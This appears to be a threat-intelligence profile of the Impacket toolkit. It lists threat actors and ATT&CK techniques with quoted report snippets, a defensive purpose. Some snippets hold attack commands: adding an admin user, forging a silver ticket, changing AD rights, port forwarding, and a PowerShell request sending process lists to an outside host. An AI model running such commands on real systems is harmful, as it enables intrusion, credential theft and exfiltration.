Impacket
- Type
- Loader
- Capabilities
- Credential theftPersistenceLateral movementPost exploitationReconnaissance
- Platforms
- Windows
Impacket is an open-source Python collection of network-protocol libraries and command-line tools used for legitimate administration, penetration testing, and adversary post-exploitation. It is a dual-use toolkit rather than a distinct malware family. Its utilities support interaction with Windows and Active Directory environments, including SMB access, remote command execution, credential extraction, NTLM relay, and authentication using compromised credentials.
Attackers use Impacket to move laterally through Windows services, WMI, and scheduled tasks. Its credential-dumping utilities can extract domain credentials, while its remote registry functionality can create run-key persistence. Operators can route Impacket traffic through SOCKS proxies to reach internal systems without installing the toolkit on an intermediary host; target-side execution and configuration changes still generate artifacts.
Observed users include Gunra ransomware affiliates, Citrus, StingyBasilisk, and the unidentified GT13 actor. These operations use Impacket alongside other offensive and administrative tools for credential access, remote execution, and lateral movement. Its widespread legitimate and malicious use makes its presence alone insufficient for threat-actor attribution.
Associated vulnerabilities
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
91 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The threat actor has also been observed using tools like Nmap, Chisel, Impacket, Paramiko, and other Python scripts to carry out internal reconnaissance, privilege escalation, and lateral movement on victim environments.
Для дальнейшего продвижения по сети группировка использует стандартные инструменты Windows, PowerShell, а также Impacket и другие утилиты.
WmiPrvSE.exe spawning a cmd.exe that writes its output to the ADMIN$ share, a hallmark of Impacket’s wmiexec.
They then started the files remotely with atexec, a tool from the Impacket toolkit that runs commands through the Windows Task Scheduler.
The exposed server's tools and exploit folders contained “fscan, Ligolo, GOST, Inveigh, Responder, NetExec, Impacket, public exploits.”
The attackers use atexec, a classic tool from the Impacket collection, to create scheduled tasks that run commands on hosts.
+85 more in the app. View in Mallory
Techniques & procedures
91 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
2 techniques
Resource Development
Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial.
Using the shells as a foothold, they uploaded a mixed toolkit and began post-exploitation activities...
Initial Access
5 techniques
Initial Access
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
During HomeLand Justice, threat actors used the built-in administrator account to move laterally using RDP and Impacket.
Privilege escalation and lateral movement are achieved through a combination of exploiting vulnerabilities ... as well as utilities such as RDP, PsExec, and Impacket tooling.
“a threat actor exploited the CVE-2022-40684 vulnerability to bypass authentication on the organization’s Fortinet VPN and gain initial access.”
"The threat actor sent phishing emails to targeted recipients using previously compromised email accounts."
Execution
12 techniques
Execution
NetExec SMB scanning with Administrator NTLM hash, DPAPI cookie extraction, wmiexec command execution against German organization.
The attacker executed commands on the Active Directory Domain Controller... using a variation of this script called atexec-pro.py... It then creates a scheduled task... configured to run a single command through the Command Prompt (cmd.exe) with the highest permissions available (NT AUTHORITY\SYSTEM).
After a successful connection, the NetrJobAdd() method is called, through which the scheduled task is added. It’s worth noting that to run the created task, we need to call a method from another interface listening on the same endpoint.
Covers wmiexec, smbexec, and atexec modules. ... selection_atexec ... ParentImage|endswith: '\svchost.exe', '\taskeng.exe'.
Actors abused command and script interpreters to execute commands.
« Impacket, ADRecon, ADVipscan, exécutés en mémoire via PowerShell »
BianLian group actors used Windows Command Shell to disable antivirus tools, for discovery, and to execute their tools on victim networks.
ESET telemetry shows Spacecolon operators executing both scripts directly through Impacket.
The actors used two Impacket tools: wmiexec.py and smbexec.py.
Annotations ID Technique Tactic T1204.003 Malicious Image Execution Default Configuration
Actors abused system services to execute commands or programs on the victim’s network.
SCM indicators include 'sc.exe' commands containing a remote host, 'create', and 'binpath=', PsExec-family binaries, Impacket-style psexec.py or smbexec.py, and Event ID 7045 for remotely sourced service paths.
Persistence
13 techniques
Persistence
The attacker executed commands on the Active Directory Domain Controller... using a variation of this script called atexec-pro.py... It then creates a scheduled task... configured to run a single command through the Command Prompt (cmd.exe) with the highest permissions available (NT AUTHORITY\SYSTEM).
After a successful connection, the NetrJobAdd() method is called, through which the scheduled task is added. It’s worth noting that to run the created task, we need to call a method from another interface listening on the same endpoint.
Covers wmiexec, smbexec, and atexec modules. ... selection_atexec ... ParentImage|endswith: '\svchost.exe', '\taskeng.exe'.
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
During HomeLand Justice, threat actors used the built-in administrator account to move laterally using RDP and Impacket.
“The SYSTEM-level RCE… was already equivalent to domain admin, and the agent simply used Impacket or native Windows binaries to add a rogue account to the Domain Admins group.” | The agent simply used Impacket or native Windows binaries to add a rogue account to the Domain Admins group.
Privilege escalation and lateral movement are achieved through a combination of exploiting vulnerabilities ... as well as utilities such as RDP, PsExec, and Impacket tooling.
Step 1: Create a computer account ... add computer 'SomeName$' 'SomePassword' ... New-MachineAccount -MachineAccount attackersystem
cmd.exe /Q /c net user [ADMIN_USER] '[PASSWORD]' /add
The agent simply used Impacket or native Windows binaries to add a rogue account to the Domain Admins group.
MSSQL 4 LOGIN7 metadata, PRELOGIN behavior, SQL Agent job creation
ScService is implemented as a Windows service.
мы можем добавить свой ключ и залогиниться... есть протокол (PKINIT), который позволяет логиниться без пароля. Есть хранилище ключей (msDS-KeyCredentialLink). Есть права, которые позволяют в это хранилище писать.
Privilege Escalation
11 techniques
Privilege Escalation
The attacker executed commands on the Active Directory Domain Controller... using a variation of this script called atexec-pro.py... It then creates a scheduled task... configured to run a single command through the Command Prompt (cmd.exe) with the highest permissions available (NT AUTHORITY\SYSTEM).
After a successful connection, the NetrJobAdd() method is called, through which the scheduled task is added. It’s worth noting that to run the created task, we need to call a method from another interface listening on the same endpoint.
Covers wmiexec, smbexec, and atexec modules. ... selection_atexec ... ParentImage|endswith: '\svchost.exe', '\taskeng.exe'.
Если у нас есть права на запись атрибута учётной записи контроллера домена ... добавляем ключи, получаем TGT, и затем можем делать DCSync ... Это Game Over.
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
During HomeLand Justice, threat actors used the built-in administrator account to move laterally using RDP and Impacket.
“The SYSTEM-level RCE… was already equivalent to domain admin, and the agent simply used Impacket or native Windows binaries to add a rogue account to the Domain Admins group.” | The agent simply used Impacket or native Windows binaries to add a rogue account to the Domain Admins group.
The selection of the Default Domain Policy ({31B2F340–016D-11D2–945F-00C04FB984F9}) is deliberate. This is the default Group Policy Object (GPO) applied to all objects within the domain, ensuring that the payload is executed on every system joined to the victim’s pokka.local domain.
Once access to an Active Directory environment has been obtained, the operators leverage Active Directory, Group Policy Objects (GPOs), and the Impacket framework to propagate the ransomware across workstations and servers throughout the domain.
[*] Delegation rights modified succesfully! [*] S-1-5-21-3104832133-133926542-3798009529-1106 can now impersonate users on WORKSTATION$ via S4U2Proxy
ScService is implemented as a Windows service.
Stealth
5 techniques
Stealth
After retrieving the temporary file, Impacket normally attempts to delete it again. Its RemoteFile.close() implementation removes the remote file.
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
During HomeLand Justice, threat actors used the built-in administrator account to move laterally using RDP and Impacket.
Some of the notable tactics observed in these attacks are as follows - Using living-off-the-land binaries (LOLBins), including PowerShell and PsExec, along with Impacket for lateral movement.
« outils publics ... exécutés en mémoire via PowerShell »
Defense Impairment
7 techniques
Defense Impairment
“The DCShadow attack, categorized as the Rogue Domain Controller technique (T1207) … introduces a rogue domain controller to a victim's Active Directory environment … uses a native replication technique … bypassing security controls and remaining persistent … can also use DCShadow for privilege escalation …”
Let’s give ourselves the right to add users to the group (WriteMembers). dacledit.py -dc-ip 10.10.11.41 -action write -rights WriteMembers -principal judith.mader -target Management
The selection of the Default Domain Policy ({31B2F340–016D-11D2–945F-00C04FB984F9}) is deliberate. This is the default Group Policy Object (GPO) applied to all objects within the domain, ensuring that the payload is executed on every system joined to the victim’s pokka.local domain.
Once access to an Active Directory environment has been obtained, the operators leverage Active Directory, Group Policy Objects (GPOs), and the Impacket framework to propagate the ransomware across workstations and servers throughout the domain.
[*] Delegation rights modified succesfully! [*] S-1-5-21-3104832133-133926542-3798009529-1106 can now impersonate users on WORKSTATION$ via S4U2Proxy
мы можем добавить свой ключ и залогиниться... есть протокол (PKINIT), который позволяет логиниться без пароля. Есть хранилище ключей (msDS-KeyCredentialLink). Есть права, которые позволяют в это хранилище писать.
The installation of Horoung caused a conflict with active security products on the system. This resulted in a crash of these services.
Credential Access
24 techniques
Credential Access
Capability only ... secretsdump, dpapi and keylistattack present.
Получение учётных данных Credential Access LSASS Memory (T1003.001) Mimikatz, secretsdump.py
Microsoft Defender reported "Behavior:Win32/RegDump.SA" ... Loading the file into regedit confirmed that we were dealing with a SAM hive... Impacket’s secretsdump.py uses exactly this naming pattern when remotely saving registry hives.
Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.
SecretsDump and similar tools abuse the Windows Remote Registry interface (UUID: 338cd001-2244-31f1-aaaa-900038001003 ) to extract SAM and LSA secrets
DCSync krbtgt AES256 73 ms 335 ms (impacket) 4.6×
Sandworm Team used BlackEnergy’s network sniffer module to discover user credentials being sent over the network...; APT33 has used SniffPass to collect credentials by sniffing network traffic; ArcaneDoor included network packet capture and sniffing...; multiple tools (CASTLETAP, Impacket, Empire, PoshC2, etc.) described as sniffing/packet capture.
“Attackers use these tools to perform brute-force and dictionary attacks… [forum guide] described… reconnaissance and brute forcing… by brute-forcing login credentials and using the smbexec.py script…”
Utilized previously collected credentials to conduct password spraying attacks against the Domain Controller with tools such as CrackMapExec or Impacket.
The command history shows the installation and execution of tools targeting Windows authentication and Active Directory, including Responder, NTLM relay-related tools, Impacket, and NetExec.
Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
SecretsDump and similar tools abuse the Windows Remote Registry interface (UUID: 338cd001-2244-31f1-aaaa-900038001003 ) to extract SAM and LSA secrets
One page even had 10MB of credentials from the Royal Thailand Armed Forces, probably enough to account for all serving members.
Mimikatz ticket export, Impacket Kerberos AS-REP / GoldenPac.
мы можем добавить свой ключ и залогиниться... есть протокол (PKINIT), который позволяет логиниться без пароля. Есть хранилище ключей (msDS-KeyCredentialLink). Есть права, которые позволяют в это хранилище писать.
Без подписи атакующий перехватывает запрос аутентификации одного хоста и перенаправляет на другой (SMB relay).
Impacket: used for NTLM-relay attacks for lateral movement after getting initial access
group.add_argument('-k', action="store_true", help='Use Kerberos authentication.' )
Golden Ticket Attacks : If an attacker obtains the KRBTGT account's password hash, they can forge TGS for any user in the domain, including Domain Admins, providing complete and persistent domain control.
Manual silver ticket attack with Impacket using ticketer.py to create the silver ticket and wmiexec.py to leverage the ticket and obtain a code execution on host.
Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).
AS-REP Roasting Attack Explained - MITRE ATT&CK T1558.004 ... It exploits a vulnerability in Kerberos when the 'Do not require Kerberos preauthentication' setting is enabled. This vulnerability allows adversaries to extract user hashes, enabling them to decrypt passwords offline.
used the credentials to forge a silver ticket... impacket-ticketer -nthash ... -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
Proofpoint has not observed malware delivery from these URLs, instead researchers assess with high confidence TA577’s objective is to capture NTLMv2 Challenge/Response pairs from the SMB server to steal NTLM hashes.
Discovery
14 techniques
Discovery
Nowadays, most EDR, IDS or next gen firewalls can detect the use of impacket or remote use of the registry service.
and saw discovery performed via Impacket.
LDAP and SMB scripts enumerate servers, hostnames, and Windows systems.
powershell.exe Get-NetUser 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 User Discovery [T1033]
Sandworm Team used BlackEnergy’s network sniffer module to discover user credentials being sent over the network...; APT33 has used SniffPass to collect credentials by sniffing network traffic; ArcaneDoor included network packet capture and sniffing...; multiple tools (CASTLETAP, Impacket, Empire, PoshC2, etc.) described as sniffing/packet capture.
An internal post-exploitation toolkit containing multithreaded port scanners
The threat actor conducted limited internal network scanning, including network share enumeration and domain user discovery.
powershell.exe Invoke-WebRequest -Uri http://REDACTED.oast.fun -Method POST -Body $(tasklist)
Python scripts ... ensure [tasks] have actually completed. These include tasks like administrator access, account verification, Active Directory collection, domain and network discovery.
Observed post-exploitation activity included ... commands used to identify hosts, users, processes, and sensitive configuration data.
"the service had given us a way to check the existence of files and directories... We had a way to check the existence of files and directories in the C$ share as a low-privileged user."
GetADUsers, GetADComputers and ldapdomaindump present, not observed in use.
LDAP scripts enumerate users, privileged accounts, service accounts, and account metadata.
smb_test.py , spider.py , and DFS collection tools enumerate readable SMB shares.
Lateral Movement
11 techniques
Lateral Movement
The rest is the standard Active Directory attack surface, from secretsdump to five remote-execution methods.
This process was likely executed remotely via Impacket, with the RestrictedAdmin mode enabled. This mode allowed the threat actor to perform a pass-the-hash to authenticate and establish an RDP session with just the password hash of an account.
T1021.002 — SMB/Windows Admin Shares (Lateral Movement)
It was followed by the execution of discovery commands using wmiexec in the context of the built-in domain administrator account.
Both actors leveraged ProxyChains, SOCKS5 tunneling, and SSH for initial access, as well as additional tooling such as Chisel, CrackMapExec, Impacket, and Neo-reGeorg.
powershell.exe Enter-PSSession
В терминах MITRE ATT&CK это Exploitation of Remote Services (T1210, Lateral Movement).
Bypass d’authentification par falsification de cookies (CWE-565) dans PAN-OS GlobalProtect
When a red teamer mentions "lateral movement via pass-the-hash," others immediately understand both the tactical goal (TA0008) and the specific technique (T1550.002), regardless of whether they use Mimikatz, Impacket, or custom tooling.
On compromised domain controllers, the group ran a password-hash dumping tool to support pass-the-hash and pass-the-ticket activity.
“One incident involved the use of Impacket toolkit to copy a legitimate software package from a network share into the malicious file, which was then executed on the targeted computer.”
Collection
2 techniques
Collection
Без подписи атакующий перехватывает запрос аутентификации одного хоста и перенаправляет на другой (SMB relay).
Impacket: used for NTLM-relay attacks for lateral movement after getting initial access
Command and Control
7 techniques
Command and Control
ntlmrelayx HTTP, WebDAV, RDP, and SCCM 6 WPAD, WebDAV, RDP relay certificate, SCCM policy strings
...a toolkit built around the Impacket Python library, which allowed them to originate traffic through the compromised VPN tunnel as if they were a legitimate internal host
"APT41 used a tool called CLASSFON to covertly proxy network communications." / "BADCALL functions as a proxy server between the victim and C2 server." / "Sandworm Team's BCS-server tool can create an internal proxy server to redirect traffic..."
“These tasks enabled network port forwarding through standard Windows functionality: netsh interface portproxy add v4tov4 listenport = 443 connectaddress = 10.0.12.101 connectport = 445.”
The C2 supports module loading, and the publication identifies Ingress Tool Transfer; deployment during hands-on-keyboard activity used Impacket.
It also abuses legitimate RMM tools and software like PDQ Deployer and Impacket to spread across networks.
All supported RPC transport can be divided into two categories: Connectionless — UDP, IPX and more.. Connection — TCP, SMB, HTTP, NetBIOS over TCP and more...
Exfiltration
1 technique
Exfiltration
Description Generated datasets for Windows Impacket Remote Temporary File Activity in attack range. MITRE ATT&CK Techniques ... Snapattack Path: /datasets/attack_techniques/T1020/snapattack/snaattack.log
Observables
8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
193 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.